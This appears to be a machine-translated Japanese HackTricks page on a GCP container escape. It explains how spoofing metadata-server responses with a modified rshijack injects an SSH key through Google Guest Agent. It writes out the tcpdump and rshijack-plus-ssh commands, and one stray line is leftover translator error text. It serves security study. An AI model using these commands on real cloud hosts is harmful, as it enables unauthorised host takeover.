GCP - Network Docker Escape

Reading time: 7 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

初期状態

この技術が指定されている2つの報告書では、攻撃者はGCPによって管理されているDockerコンテナ内でrootアクセスを取得し、ホストネットワークへのアクセス(および**CAP_NET_ADMINCAP_NET_RAW**の権限)を持っていました。

攻撃の説明

Google Compute Engineインスタンスでは、ネットワークトラフィックの定期的な検査により、メタデータインスタンスへの多数のプレーンHTTPリクエストが明らかになります。オープンソースサービスであるGoogle Guest Agentは、頻繁にこのようなリクエストを行います。

このエージェントはメタデータの変更を監視するように設計されています。特に、メタデータにはSSH公開鍵用のフィールドが含まれています。新しい公開SSH鍵がメタデータに追加されると、エージェントは自動的にそれを.authorized_keyファイルに認証します。また、必要に応じて新しいユーザーを作成し、sudoersに追加することもあります。

エージェントは、すべてのメタデータ値を再帰的に取得するリクエストを送信することで変更を監視します(GET /computeMetadata/v1/?recursive=true)。このリクエストは、前回の取得以降にメタデータに変更があった場合のみ、メタデータサーバーが応答を送信するように設計されています。これはEtag(wait_for_change=true&last_etag=)によって識別されます。さらに、タイムアウトパラメータ(timeout_sec=)も含まれています。指定されたタイムアウト内に変更が発生しない場合、サーバーは変更されていない値で応答します。

このプロセスにより、IMDS(インスタンスメタデータサービス)は、構成変更が発生しなかった場合に60秒後に応答することができ、ゲストエージェントに対して偽の構成応答を注入するための潜在的なウィンドウを作成します。

攻撃者は、Man-in-the-Middle (MitM)攻撃を実行し、IMDSサーバーからの応答を偽装して新しい公開鍵を挿入することでこれを悪用できる可能性があります。これにより、ホストへの不正なSSHアクセスが可能になります。

エスケープ技術

ARPスプーフィングはGoogle Compute Engineネットワークでは効果がありませんが、rshijackの修正版Ezequielによって開発され、SSHユーザーを注入するためのパケット注入に使用できます。

このrshijackのバージョンは、ACKおよびSEQ番号をコマンドライン引数として入力できるため、実際のメタデータサーバーの応答の前に応答を偽装することが容易になります。さらに、小さなシェルスクリプトが使用され、特別に作成されたペイロードを返します。このペイロードは、Google Guest Agentに対して、.authorized_keysファイルに指定された公開鍵を持つユーザーwouter作成するようにトリガーします。

スクリプトは同じETagを使用して、メタデータサーバーが異なるメタデータ値をGoogle Guest Agentに即座に通知しないようにし、応答を遅延させます。

スプーフィングを実行するには、次の手順が必要です。

  1. tcpdumpを使用してメタデータサーバーへのリクエストを監視します:
bash
tcpdump -S -i eth0 'host 169.254.169.254 and port 80' &

翻訳する内容が見つかりませんでした。具体的なテキストを提供してください。

<TIME> IP <LOCAL_IP>.<PORT> > 169.254.169.254.80: Flags [P.], seq <NUM>:<TARGET_ACK>, ack <TARGET_SEQ>, win <NUM>, length <NUM>: HTTP: GET /computeMetadata/v1/?timeout_sec=<SECONDS>&last_etag=<ETAG>&alt=json&recursive=True&wait_for_change=True HTTP/1.1
  1. 正しいETAGを持つ偽のメタデータをrshijackに送信します:
bash
fakeData.sh <ETAG> | rshijack -q eth0 169.254.169.254:80 <LOCAL_IP>:<PORT> <TARGET_SEQ> <TARGET_ACK>; ssh -i id_rsa -o StrictHostKeyChecking=no wouter@localhost

このステップは公開鍵を認証し、対応する秘密鍵を使用してSSH接続を可能にします。

参考文献

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする